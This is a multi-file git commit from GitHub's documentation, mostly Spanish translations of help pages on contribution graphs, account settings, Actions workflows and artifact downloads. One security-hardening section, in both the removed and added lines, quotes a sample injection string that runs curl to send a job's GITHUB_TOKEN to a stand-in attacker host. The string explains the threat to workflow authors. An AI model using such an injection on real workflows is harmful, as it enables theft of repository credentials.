New translation batch for es (#32548)
This commit is contained in:
docubot
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Why are my contributions not showing up on my profile?
|
||||
intro: Learn common reasons that contributions may be missing from your contributions graph.
|
||||
title: ¿Por qué mis contribuciones no aparecen en mi perfil?
|
||||
intro: Aprende sobre las razones habituales por las cuales podrían faltar contribuciones en tu gráfica.
|
||||
redirect_from:
|
||||
- /articles/why-are-my-contributions-not-showing-up-on-my-profile
|
||||
- /github/setting-up-and-managing-your-github-profile/why-are-my-contributions-not-showing-up-on-my-profile
|
||||
@@ -14,49 +14,54 @@ versions:
|
||||
topics:
|
||||
- Profiles
|
||||
shortTitle: Missing contributions
|
||||
ms.openlocfilehash: f3480b1b4f2857a144ad8e264e0d8b78196b1a3e
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148107049'
|
||||
---
|
||||
## Acerca de tu gráfica de contribuciones
|
||||
|
||||
## About your contribution graph
|
||||
La gráfica de contribuciones de tu perfil es un registro de las contribuciones que has hecho en los repositorios {% ifversion ghae %}propiedad{% else %}de{% endif %} {% data variables.location.product_location %}. Las contribuciones son registros horarios de acuerdo a la zona horaria universal coordinada (UTC) en lugar de tu zona horaria local. Las contribuciones solo se cuentan si cumplen con determinados criterios. En algunos casos, necesitamos reconstruir tu gráfico para que aparezcan las contribuciones.
|
||||
|
||||
Your profile contributions graph is a record of contributions you've made to repositories {% ifversion ghae %}owned by{% else %}on{% endif %} {% data variables.location.product_location %}. Contributions are timestamped according to Coordinated Universal Time (UTC) rather than your local time zone. Contributions are only counted if they meet certain criteria. In some cases, we may need to rebuild your graph in order for contributions to appear.
|
||||
Si eres parte de una organización que utiliza el inicio de sesión único (SSO) de SAML, no podrás ver la actividad de las contribuciones desde la organización en tu perfil de no tener una sesión de SSO activa. Las personas que ven tu perfil desde fuera de tu organización verán una actividad de contribución anonimizada de aquella para tu organización.
|
||||
|
||||
If you are part of an organization that uses SAML single sign-on (SSO), you won’t be able to see contribution activity from the organization on your profile if you do not have an active SSO session. People viewing your profile from outside your organization will see anonymized contribution activity of your contribution activity for your organization.
|
||||
## Contribuciones que se cuentan
|
||||
|
||||
## Contributions that are counted
|
||||
### Propuestas, solicitudes de cambios y debates
|
||||
|
||||
### Issues, pull requests and discussions
|
||||
Las propuestas, solicitudes de cambios y debates aparecerán en tu gráfica de contribuciones si se abrieron en un repositorio independiente y no en una bifurcación.
|
||||
|
||||
Issues, pull requests, and discussions will appear on your contribution graph if they were opened in a standalone repository, not a fork.
|
||||
### Confirmaciones
|
||||
Las confirmaciones aparecerán en el gráfico de contribuciones si cumplen **todas** las condiciones siguientes:
|
||||
- La dirección de correo electrónico que se utiliza para las confirmaciones se asocia con tu cuenta de {% data variables.location.product_location %}.
|
||||
- Las confirmaciones se hicieron en un repositorio independiente, no en una bifurcación.
|
||||
- Las confirmaciones se hicieron:
|
||||
- En la rama predeterminada del repositorio
|
||||
- En la rama `gh-pages` (para repositorios con sitios del proyecto)
|
||||
|
||||
### Commits
|
||||
Commits will appear on your contributions graph if they meet **all** of the following conditions:
|
||||
- The email address used for the commits is associated with your account on {% data variables.location.product_location %}.
|
||||
- The commits were made in a standalone repository, not a fork.
|
||||
- The commits were made:
|
||||
- In the repository's default branch
|
||||
- In the `gh-pages` branch (for repositories with project sites)
|
||||
Para obtener más información acerca de los sitios del proyecto, vea "[Acerca de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)".
|
||||
|
||||
For more information on project sites, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)."
|
||||
Además, debe cumplirse **al menos una** de las siguientes condiciones:
|
||||
- Eres un colaborador en el repositorio o eres miembro de la organización a la que pertenece el repositorio.
|
||||
- Has bifurcado el repositorio.
|
||||
- Has abierto una solicitud de extracción o una propuesta en el repositorio.
|
||||
- Has destacado el repositorio.
|
||||
|
||||
In addition, **at least one** of the following must be true:
|
||||
- You are a collaborator on the repository or are a member of the organization that owns the repository.
|
||||
- You have forked the repository.
|
||||
- You have opened a pull request or issue in the repository.
|
||||
- You have starred the repository.
|
||||
|
||||
## Common reasons that contributions are not counted
|
||||
## Razones comunes por las que las contribuciones no se cuentan
|
||||
|
||||
{% data reusables.pull_requests.pull_request_merges_and_contributions %}
|
||||
|
||||
### Commit was made less than 24 hours ago
|
||||
### La confirmación se hizo hace menos de 24 horas
|
||||
|
||||
After making a commit that meets the requirements to count as a contribution, you may need to wait for up to 24 hours to see the contribution appear on your contributions graph.
|
||||
Después de hacer una confirmación que cumpla con los requisitos para contar como una contribución, es posible que debas esperar hasta 24 horas para que aparezca la contribución en tu gráfico de contribución.
|
||||
|
||||
### Your local Git commit email isn't connected to your account
|
||||
### Tu correo electrónico de confirmaciones de Git no está conectado a tu cuenta
|
||||
|
||||
Commits must be made with an email address that is connected to your account on {% data variables.location.product_location %}{% ifversion fpt or ghec %}, or the {% data variables.product.prodname_dotcom %}-provided `noreply` email address provided to you in your email settings,{% endif %} in order to appear on your contributions graph.{% ifversion fpt or ghec %} For more information about `noreply` email addresses, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#about-commit-email-addresses)."{% endif %}
|
||||
Las confirmaciones deben realizarse con una dirección de correo electrónico conectada a tu cuenta de {% data variables.location.product_location %}{% ifversion fpt or ghec %}, o la dirección de correo electrónico `noreply` proporcionada por {% data variables.product.prodname_dotcom %} y facilitada en la configuración de correo electrónico,{% endif %} para que aparezca en el gráfico de contribuciones.{% ifversion fpt or ghec %} Para obtener más información sobre las direcciones de correo electrónico `noreply`, consulta "[Configuración de la dirección de correo electrónico de confirmación](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#about-commit-email-addresses)".{% endif %}
|
||||
|
||||
You can check the email address used for a commit by adding `.patch` to the end of a commit URL, e.g. <a href="https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch" data-proofer-ignore>https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch</a>:
|
||||
Puede comprobar la dirección de correo electrónico usada para una confirmación agregando `.patch` al final de una dirección URL de confirmación como, por ejemplo, <a href="https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch" data-proofer-ignore>https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch</a>:
|
||||
|
||||
```
|
||||
From 67c0afc1da354d8571f51b6f0af8f2794117fd10 Mon Sep 17 00:00:00 2001
|
||||
@@ -65,41 +70,39 @@ Date: Sun, 27 Apr 2014 15:36:39 +0530
|
||||
Subject: [PATCH] updated index for better welcome message
|
||||
```
|
||||
|
||||
The email address in the `From:` field is the address that was set in the [local git config settings](/articles/set-up-git). In this example, the email address used for the commit is `octocat@nowhere.com`.
|
||||
La dirección de correo electrónico del campo `From:` es la dirección que se ha establecido en los [valores de configuración de git local](/articles/set-up-git). En este ejemplo, la dirección de correo electrónico usada para la confirmación es `octocat@nowhere.com`.
|
||||
|
||||
If the email address used for the commit is not connected to your account on {% data variables.location.product_location %}, {% ifversion ghae %}change the email address used to author commits in Git. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %}you must [add the email address](/articles/adding-an-email-address-to-your-github-account) to your account on {% data variables.location.product_location %}. Your contributions graph will be rebuilt automatically when you add the new address.{% endif %}
|
||||
Si la dirección de correo electrónico que se utiliza para la confirmación no está conectada a tu cuenta de {% data variables.location.product_location %}, {% ifversion ghae %}cambia la que se utiliza para crear confirmaciones en Git. Para obtener más información, consulta "[Configuración de la dirección de correo electrónico de confirmación](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)".{% else %}debes [agregar la dirección de correo electrónico](/articles/adding-an-email-address-to-your-github-account) a tu cuenta de {% data variables.location.product_location %}. Tu gráfica de contribuciones se reconstruirá automáticamente cuando agregues la nueva dirección.{% endif %}
|
||||
|
||||
{% ifversion fpt or ghec %}
|
||||
{% note %}
|
||||
{% ifversion fpt or ghec %} {% note %}
|
||||
|
||||
**Note**: If you use a {% data variables.enterprise.prodname_managed_user %}, you cannot add additional email addresses to the account, even if multiple email addresses are registered with your identity provider (IdP). Therefore, only commits that are authored by the primary email address registered with your IdP can be associated with your {% data variables.enterprise.prodname_managed_user %}.
|
||||
**Nota**: Si usas una {% data variables.enterprise.prodname_managed_user %}, no puedes agregar más direcciones de correo electrónico a la cuenta, aunque haya varias direcciones de correo registradas electrónico con el proveedor de identidades (IdP). Por lo tanto, solo se pueden asociar a tu {% data variables.enterprise.prodname_managed_user %} las confirmaciones creadas mediante la dirección de correo electrónico principal registrada con el IdP.
|
||||
|
||||
{% endnote %}
|
||||
{% endif %}
|
||||
{% endnote %} {% endif %}
|
||||
|
||||
Generic email addresses, such as `jane@computer.local`, cannot be added to {% data variables.product.prodname_dotcom %} accounts and linked to commits. If you've authored any commits using a generic email address, the commits will not be linked to your {% data variables.product.prodname_dotcom %} profile and will not show up in your contribution graph.
|
||||
Las direcciones de correo electrónico genéricas, como `jane@computer.local`, no se pueden agregar a cuentas de {% data variables.product.prodname_dotcom %} ni vincularse a confirmaciones. Si has creado confirmaciones con una dirección de correo electrónico genérica, las confirmaciones no se vincularán a tu perfil de {% data variables.product.prodname_dotcom %} ni aparecerán en tu gráfico de contribución.
|
||||
|
||||
### Commit was not made in the default or `gh-pages` branch
|
||||
### No se ha realizado la confirmación en la rama `gh-pages` o en la predeterminada
|
||||
|
||||
Commits are only counted if they are made in the default branch or the `gh-pages` branch (for repositories with project sites). For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)."
|
||||
Las confirmaciones solo se cuentan si se realizan en la rama `gh-pages` o en la predeterminada (para los repositorios con sitios del proyecto). Para obtener más información, consulta [Acerca de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites).
|
||||
|
||||
If your commits are in a non-default or non-`gh-pages` branch and you'd like them to count toward your contributions, you will need to do one of the following:
|
||||
- [Open a pull request](/articles/creating-a-pull-request) to have your changes merged into the default branch or the `gh-pages` branch.
|
||||
- [Change the default branch](/github/administering-a-repository/changing-the-default-branch) of the repository.
|
||||
Si sus confirmaciones se encuentran en una rama que no es la rama predeterminada ni la rama `gh-pages` y le gustaría que contaran para sus contribuciones, necesitará realizar una de las acciones siguientes:
|
||||
- [Abrir una solicitud de incorporación de cambios](/articles/creating-a-pull-request) para que los cambios se combinen en la rama `gh-pages` o en la predeterminada.
|
||||
- [Cambiar la rama predeterminada](/github/administering-a-repository/changing-the-default-branch) del repositorio.
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Warning**: Changing the default branch of the repository will change it for all repository collaborators. Only do this if you want the new branch to become the base against which all future pull requests and commits will be made.
|
||||
**Advertencia**: Cambiar la rama predeterminada del repositorio hará que se cambie para todos los colaboradores del repositorio. Realiza esta acción solamente si quieres que la nueva rama se convierta en la base respecto de todas las confirmaciones y las solicitudes de extracción que se harán en el futuro.
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
### Commit was made in a fork
|
||||
### La confirmación se hizo en una bifurcación
|
||||
|
||||
Commits made in a fork will not count toward your contributions. To make them count, you must do one of the following:
|
||||
- [Open a pull request](/articles/creating-a-pull-request) to have your changes merged into the parent repository.
|
||||
- To detach the fork and turn it into a standalone repository on {% data variables.location.product_location %}, contact {% data variables.contact.contact_support %}. If the fork has forks of its own, let {% data variables.contact.contact_support %} know if the forks should move with your repository into a new network or remain in the current network. For more information, see "[About forks](/articles/about-forks/)."
|
||||
Las confirmaciones que se hicieron en una bifurcación no contarán para tus contribuciones. Para hacer que cuenten, debes realizar una de las siguientes acciones:
|
||||
- [Abrir una solicitud de incorporación de cambios](/articles/creating-a-pull-request) para que los cambios se combinen en el repositorio principal.
|
||||
- Para desconectar la bifurcación y convertirla en un repositorio independiente en {% data variables.location.product_location %}, ponte en contacto con {% data variables.contact.contact_support %}. Si la bifurcación tiene a su vez más bifurcaciones, indícale al {% data variables.contact.contact_support %} si éstas deberán moverse junto con tu repositorio a una nueva red o permanecer en la actual. Para obtener más información, vea "[Acerca de las bifurcaciones](/articles/about-forks/)".
|
||||
|
||||
## Further reading
|
||||
## Información adicional
|
||||
|
||||
- "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
|
||||
- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)"
|
||||
- "[Divulgación u ocultación de las contribuciones privadas en el perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
|
||||
- "[Visualización de contribuciones en la página del perfil](/articles/viewing-contributions-on-your-profile-page)"
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Setting up and managing your personal account on GitHub
|
||||
intro: 'You can manage settings for your personal account on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}, including email preferences, access to personal repositories, and organization memberships. You can also manage the account itself.'
|
||||
title: Configuración y administración de tu cuenta personal de GitHub
|
||||
intro: 'Puedes administrar la configuración de tu cuenta personal en {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}, incluidas las preferencias de correo electrónico, el acceso a repositorios personales y las pertenencias a la organización. También puedes administrar la propia cuenta.'
|
||||
shortTitle: Personal accounts
|
||||
redirect_from:
|
||||
- /categories/setting-up-and-managing-your-github-user-account
|
||||
@@ -19,5 +19,11 @@ children:
|
||||
- /managing-email-preferences
|
||||
- /managing-access-to-your-personal-repositories
|
||||
- /managing-your-membership-in-organizations
|
||||
ms.openlocfilehash: b3c8007f37b9c61650f96a51e805024dd10a853f
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148106689'
|
||||
---
|
||||
|
||||
|
||||
@@ -10,12 +10,12 @@ type: tutorial
|
||||
topics:
|
||||
- CI
|
||||
shortTitle: Build & test Go
|
||||
ms.openlocfilehash: 64e0c8acfa23436903b510a47cd1b43f55274f5f
|
||||
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
|
||||
ms.openlocfilehash: 590edc2af0b7f370e52b449f320bdc2a758450bc
|
||||
ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/05/2022
|
||||
ms.locfileid: '147080523'
|
||||
ms.lasthandoff: 11/10/2022
|
||||
ms.locfileid: '148160859'
|
||||
---
|
||||
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
|
||||
|
||||
@@ -122,8 +122,8 @@ Puedes usar `go get` para instalar dependencias:
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
go get .
|
||||
go get example.lab/octo-examplemodule
|
||||
go get example.lab/octo-examplemodule@v1.3.4
|
||||
go get example.com/octo-examplemodule
|
||||
go get example.com/octo-examplemodule@v1.3.4
|
||||
```
|
||||
|
||||
{% ifversion actions-caching %}
|
||||
|
||||
@@ -1,18 +1,19 @@
|
||||
---
|
||||
title: Descargar los artefactos del flujo de trabajo
|
||||
intro: Puedes descargar artefactos archivados antes de que venzan automáticamente.
|
||||
permissions: 'People who are signed into {% data variables.product.product_name %} and have read access to a repository can download workflow artifacts.'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghes: '*'
|
||||
ghae: '*'
|
||||
ghec: '*'
|
||||
shortTitle: Download workflow artifacts
|
||||
ms.openlocfilehash: 71e00a13769b696b47864d53d702770fb4f2b47a
|
||||
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
|
||||
ms.openlocfilehash: dcb2d97095f6cdd704207084b776db05a4d1bd44
|
||||
ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/11/2022
|
||||
ms.locfileid: '145117186'
|
||||
ms.lasthandoff: 11/10/2022
|
||||
ms.locfileid: '148160636'
|
||||
---
|
||||
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
|
||||
|
||||
@@ -39,25 +40,25 @@ El {% data variables.product.prodname_cli %} descargará cada artefacto en direc
|
||||
Para descargar todos los artefactos generados por una ejecución de flujo de trabajo, use el subcomando `run download`. Reemplace `run-id` por el identificador de la ejecución desde la que quiera descargar los artefactos. Si no especifica un valor `run-id`, {% data variables.product.prodname_cli %} devuelve un menú interactivo para que elija una ejecución reciente.
|
||||
|
||||
```shell
|
||||
gh run download <em>run-id</em>
|
||||
gh run download RUN_ID
|
||||
```
|
||||
|
||||
Para descargar un artefacto específico de una ejecución, use el subcomando `run download`. Reemplace `run-id` por el identificador de la ejecución desde la que quiera descargar los artefactos. Reemplace `artifact-name` por el nombre del artefacto que quiera descargar.
|
||||
|
||||
```shell
|
||||
gh run download <em>run-id</em> -n <em>artifact-name</em>
|
||||
gh run download RUN_ID -n ARTIFACT_NAME
|
||||
```
|
||||
|
||||
Puedes especificar más de un artefacto.
|
||||
|
||||
```shell
|
||||
gh run download <em>run-id</em> -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
|
||||
gh run download RUN_ID> -n ARTIFACT_NAME-1 -n ARTIFACT_NAME-2
|
||||
```
|
||||
|
||||
Para descargar artefactos específicos en todas las ejecuciones de un repositorio, use el subcomando `run download`.
|
||||
|
||||
```shell
|
||||
gh run download -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
|
||||
gh run download -n ARTIFACT_NAME-1 ARTIFACT_NAME-2
|
||||
```
|
||||
|
||||
{% endcli %}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Migrar a GitHub Actions
|
||||
shortTitle: Migrating to GitHub Actions
|
||||
shortTitle: Migrate to GitHub Actions
|
||||
intro: 'Aprende cómo migrar tus flujos de trabajos existentes de IC/DC a {% data variables.product.prodname_actions %}.'
|
||||
versions:
|
||||
fpt: '*'
|
||||
@@ -11,16 +11,17 @@ redirect_from:
|
||||
- /actions/migrating-to-github-actions
|
||||
- /articles/migrating-github-actions-from-hcl-syntax-to-yaml-syntax
|
||||
children:
|
||||
- /automating-migration-with-github-actions-importer
|
||||
- /migrating-from-azure-pipelines-to-github-actions
|
||||
- /migrating-from-circleci-to-github-actions
|
||||
- /migrating-from-gitlab-cicd-to-github-actions
|
||||
- /migrating-from-jenkins-to-github-actions
|
||||
- /migrating-from-travis-ci-to-github-actions
|
||||
ms.openlocfilehash: 52a72e144da3ccd9f87f366deb2e9181e7474507
|
||||
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
|
||||
ms.openlocfilehash: b3964e3e477a61052b241dfb3d2d02ebecbf96c5
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/10/2022
|
||||
ms.locfileid: '147880641'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148158937'
|
||||
---
|
||||
|
||||
|
||||
@@ -213,7 +213,15 @@ You can check which access policies are being applied to a secret in your organi
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** {% data reusables.actions.forked-secrets %}
|
||||
**Notes:**
|
||||
|
||||
* {% data reusables.actions.forked-secrets %}
|
||||
|
||||
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
|
||||
|
||||
* Secrets are not automatically passed to reusable workflows. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow)."
|
||||
|
||||
{% endif %}
|
||||
|
||||
{% endnote %}
|
||||
|
||||
|
||||
@@ -149,7 +149,7 @@ With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{
|
||||
### Using starter workflows for code scanning
|
||||
|
||||
{% data reusables.advanced-security.starter-workflows-beta %}
|
||||
{% data variables.product.prodname_code_scanning_capc %} allows you to find security vulnerabilities before they reach production. {% data variables.product.product_name %} provides starter workflows for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short%}'s workflow, the {% data variables.product.prodname_codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party starter workflows available.
|
||||
{% data variables.product.prodname_code_scanning_capc %} allows you to find security vulnerabilities before they reach production. {% data variables.product.product_name %} provides starter workflows for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short%}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party starter workflows available.
|
||||
|
||||
For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)" and "[Setting up {% data variables.product.prodname_code_scanning %} using starter workflows](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)."
|
||||
|
||||
@@ -245,7 +245,7 @@ An attacker can exfiltrate any stolen secrets or other data from the runner. To
|
||||
|
||||
### Stealing the job's `GITHUB_TOKEN`
|
||||
|
||||
It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`.
|
||||
It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`.
|
||||
|
||||
### Modifying the contents of a repository
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: Workflow commands for GitHub Actions
|
||||
title: Comandos de flujo de trabajo para Acciones de GitHub
|
||||
shortTitle: Workflow commands
|
||||
intro: You can use workflow commands when running shell commands in a workflow or in an action's code.
|
||||
intro: Puedes usar comandos de flujo de trabajo cuando ejecutas comandos de Shell en un flujo de trabajo o en el código de una acción.
|
||||
defaultTool: bash
|
||||
redirect_from:
|
||||
- /articles/development-tools-for-github-actions
|
||||
@@ -16,18 +16,22 @@ versions:
|
||||
ghes: '*'
|
||||
ghae: '*'
|
||||
ghec: '*'
|
||||
ms.openlocfilehash: 69853702258a6a0acaa3501e007c8c20a52874d5
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148106889'
|
||||
---
|
||||
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
|
||||
|
||||
{% data reusables.actions.enterprise-beta %}
|
||||
{% data reusables.actions.enterprise-github-hosted-runners %}
|
||||
## Acerca de los comandos de flujo
|
||||
|
||||
## About workflow commands
|
||||
Las acciones pueden comunicarse con la máquina del ejecutor para establecer variables de entorno, valores de salida utilizados por otras acciones, agregar mensajes de depuración a los registros de salida y otras tareas.
|
||||
|
||||
Actions can communicate with the runner machine to set environment variables, output values used by other actions, add debug messages to the output logs, and other tasks.
|
||||
La mayoría de los comandos de flujo de trabajo usan el comando `echo` en un formato específico, mientras que otros se pueden invocar escribiendo en un archivo. Para más información, vea "[Archivos de entorno](#environment-files)".
|
||||
|
||||
Most workflow commands use the `echo` command in a specific format, while others are invoked by writing to a file. For more information, see "[Environment files](#environment-files)."
|
||||
|
||||
### Example
|
||||
### Ejemplo
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -47,30 +51,29 @@ Write-Output "::workflow-command parameter1={data},parameter2={data}::{command v
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** Workflow command and parameter names are not case-sensitive.
|
||||
**Nota:** Los nombres de parámetros y comandos de flujo de trabajo no distinguen mayúsculas de minúsculas.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Warning:** If you are using Command Prompt, omit double quote characters (`"`) when using workflow commands.
|
||||
**Advertencia:** Si utiliza el símbolo del sistema, omita los caracteres de comillas dobles (`"`) al usar comandos de flujo de trabajo.
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
## Using workflow commands to access toolkit functions
|
||||
## Utilizar comandos de flujo de trabajo para acceder a las funciones de toolkit
|
||||
|
||||
The [actions/toolkit](https://github.com/actions/toolkit) includes a number of functions that can be executed as workflow commands. Use the `::` syntax to run the workflow commands within your YAML file; these commands are then sent to the runner over `stdout`.
|
||||
En [actions/toolkit](https://github.com/actions/toolkit) se incluye una serie de funciones que se pueden ejecutar como comandos de flujo de trabajo. Use la sintaxis `::` para ejecutar los comandos de flujo de trabajo dentro del archivo YAML; estos comandos se envían al ejecutor por medio de `stdout`.
|
||||
|
||||
{%- ifversion actions-save-state-set-output-envs %}
|
||||
For example, instead of using code to create an error annotation, as below:
|
||||
{%- ifversion actions-save-state-set-output-envs %} Por ejemplo, en lugar de usar código para crear una anotación de error, como aquí:
|
||||
|
||||
```javascript{:copy}
|
||||
core.error('Missing semicolon', {file: 'app.js', startLine: 1})
|
||||
```
|
||||
|
||||
### Example: Creating an annotation for an error
|
||||
### Ejemplo: Crear una anotación de un error
|
||||
|
||||
You can use the `error` command in your workflow to create the same error annotation:
|
||||
Puedes usar el comando `error` en tu flujo de trabajo para crear la misma anotación de error:
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -92,17 +95,15 @@ You can use the `error` command in your workflow to create the same error annota
|
||||
```
|
||||
{% endraw %}
|
||||
|
||||
{% endpowershell %}
|
||||
{%- else %}
|
||||
For example, instead of using code to set an output, as below:
|
||||
{% endpowershell %} {%- else %} Por ejemplo, en vez de utilizar código para configurar una salida, como se muestra aquí:
|
||||
|
||||
```javascript{:copy}
|
||||
core.setOutput('SELECTED_COLOR', 'green');
|
||||
```
|
||||
|
||||
### Example: Setting a value
|
||||
### Ejemplo: Configurar un valor
|
||||
|
||||
You can use the `set-output` command in your workflow to set the same value:
|
||||
Puede usar el comando `set-output` en el flujo de trabajo para establecer el mismo valor:
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -134,44 +135,35 @@ You can use the `set-output` command in your workflow to set the same value:
|
||||
|
||||
{% endif %}
|
||||
|
||||
The following table shows which toolkit functions are available within a workflow:
|
||||
La siguiente tabla muestra qué funciones del toolkit se encuentran disponibles dentro de un flujo de trabajo:
|
||||
|
||||
| Toolkit function | Equivalent workflow command |
|
||||
| Funcion del Toolkit | Comando equivalente del flujo de trabajo |
|
||||
| ----------------- | ------------- |
|
||||
| `core.addPath` | Accessible using environment file `GITHUB_PATH` |
|
||||
| `core.addPath` | Accesible mediante el archivo de entorno `GITHUB_PATH` |
|
||||
| `core.debug` | `debug` |
|
||||
| `core.notice` | `notice` |
|
||||
| `core.error` | `error` |
|
||||
| `core.endGroup` | `endgroup` |
|
||||
| `core.exportVariable` | Accessible using environment file `GITHUB_ENV` |
|
||||
| `core.getInput` | Accessible using environment variable `INPUT_{NAME}` |
|
||||
| `core.getState` | Accessible using environment variable `STATE_{NAME}` |
|
||||
| `core.isDebug` | Accessible using environment variable `RUNNER_DEBUG` |
|
||||
{%- ifversion actions-job-summaries %}
|
||||
| `core.summary` | Accessible using environment file `GITHUB_STEP_SUMMARY` |
|
||||
{%- endif %}
|
||||
| `core.saveState` | {% ifversion actions-save-state-set-output-envs %}Accessible using environment file `GITHUB_STATE`{% else %}`save-state`{% endif %} |
|
||||
| `core.setCommandEcho` | `echo` |
|
||||
| `core.setFailed` | Used as a shortcut for `::error` and `exit 1` |
|
||||
| `core.setOutput` | {% ifversion actions-save-state-set-output-envs %}Accessible using environment file `GITHUB_OUTPUT`{% else %}`set-output`{% endif %} |
|
||||
| `core.setSecret` | `add-mask` |
|
||||
| `core.startGroup` | `group` |
|
||||
| `core.warning` | `warning` |
|
||||
| `core.exportVariable` | Accesible mediante el archivo de entorno `GITHUB_ENV` |
|
||||
| `core.getInput` | Accesible mediante la variable de entorno `INPUT_{NAME}` |
|
||||
| `core.getState` | Accesible mediante la variable de entorno `STATE_{NAME}` |
|
||||
| `core.isDebug` | Accesible mediante la variable de entorno `RUNNER_DEBUG` |
|
||||
